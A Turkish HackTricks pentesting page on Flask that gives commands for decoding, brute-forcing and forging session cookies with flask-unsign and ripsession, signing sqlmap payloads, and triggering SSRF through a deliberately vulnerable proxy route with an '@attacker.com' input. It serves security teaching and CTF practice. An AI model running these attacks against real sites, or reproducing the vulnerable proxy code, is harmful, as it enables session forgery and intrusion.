5.9 KiB
Flask
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'ı takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI ile ilgili olacaktır.
Çerezler
Varsayılan çerez oturum adı session
'dır.
Decoder
Çevrimiçi Flask çerezleri decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manuel
Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile decode edin.
echo "ImhlbGxvIg" | base64 -d
Çerez ayrıca bir şifre kullanılarak imzalanmıştır.
Flask-Unsign
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Çerezleri Çöz
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Kaba Güç
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
İmza
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Eski sürümleri kullanarak imzalama
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerine brute-force saldırısı yapmak için komut satırı aracı.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask session cookie with SQLmap
Bu örnek sqlmap eval
seçeneğini kullanarak flask için sqlmap yüklerini otomatik olarak imzalamayı sağlar, bilinen bir gizli anahtar kullanarak.
Flask Proxy to SSRF
Bu yazıda Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Aşağıdaki senaryoda:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Şunu girmeye izin verebilir: "@attacker.com" böylece bir SSRF oluşturulabilir.
Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.